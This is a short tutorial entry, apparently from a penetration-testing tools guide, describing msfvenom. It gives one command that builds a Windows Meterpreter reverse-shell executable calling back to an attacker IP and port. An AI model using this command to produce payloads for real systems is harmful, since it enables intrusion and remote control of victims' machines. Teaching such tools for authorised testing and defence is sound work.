2. msfvenom

Description:
msfvenom is a tool used to generate payloads, shellcode, and backdoors. It combines the capabilities of msfpayload and msfencode into a single command-line tool.

Examples:

    1. Generate a Reverse Shell Payload:
      • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > payload.exe

Explanation: Creates a Windows Meterpreter reverse shell payload that connects back to the attacker’s IP (192.168.1.5), saving it as an executable file (payload.exe).

Scroll to Top